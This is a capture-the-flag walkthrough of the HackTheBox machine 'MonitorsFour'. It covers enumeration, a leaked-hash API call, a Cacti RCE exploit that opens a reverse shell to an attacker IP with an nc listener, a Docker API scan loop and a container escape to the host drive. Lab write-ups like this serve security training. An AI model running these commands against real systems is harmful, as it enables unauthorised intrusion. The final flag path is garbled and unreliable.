MonitorsFour — HackTheBox

Platform: HackTheBox OS: Windows Status: Retired — full walkthrough published.

Full walkthrough: l3dsec.com/walkthroughs/monitorsfour-htb

Attack Chain

Nmap → nginx (80) + WinRM (5985)
  → ffuf → cacti.monitorsfour.htb (Cacti)
    → unauthenticated API endpoint → credentials
      → CVE-2025-24367 Cacti RCE → shell as www-data (Docker)
        → CVE-2025-9074 Docker Desktop API (192.168.65.x:2375)
          → mount host filesystem → root flag

1. Enumeration

nmap -sV -sC <TARGET_IP>
nmap -sV -sC <TARGET_IP> -p-

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

Virtual host fuzzing revealed cacti.monitorsfour.htb — a Cacti network monitoring instance.

2. Credential Discovery

Unauthenticated API endpoint on the main domain exposes user account data including MD5 password hashes:

curl -s "http://monitorsfour.htb/user?token=0"

MD5 hash cracked immediately — gives valid credentials for Cacti.

3. Initial Foothold — CVE-2025-24367 (Cacti Authenticated RCE)

Cacti instance vulnerable to authenticated RCE via Graph Template functionality:

nc -lvnp 9001

sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus \
  -p <password> \
  -i <ATTACKER_IP> \
  -l 9001

Shell as www-data inside a Docker container. User flag at /home/marcus/user.txt.

4. Container Escape — CVE-2025-9074 (Docker Desktop API)

Docker socket not mounted. Docker Desktop exposes its Engine API unauthenticated on the internal 192.168.65.0/24 subnet:

# Scan for open Docker API
for i in $(seq 1 254); do
  (curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null \
    | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN") &
done; wait

Created a container via the API that mounts the host C:\ drive, then read the root flag from C:sers\Administrator\Desktop oot.txt.

Flags

For educational purposes only. Only test systems you own or have explicit written permission to test.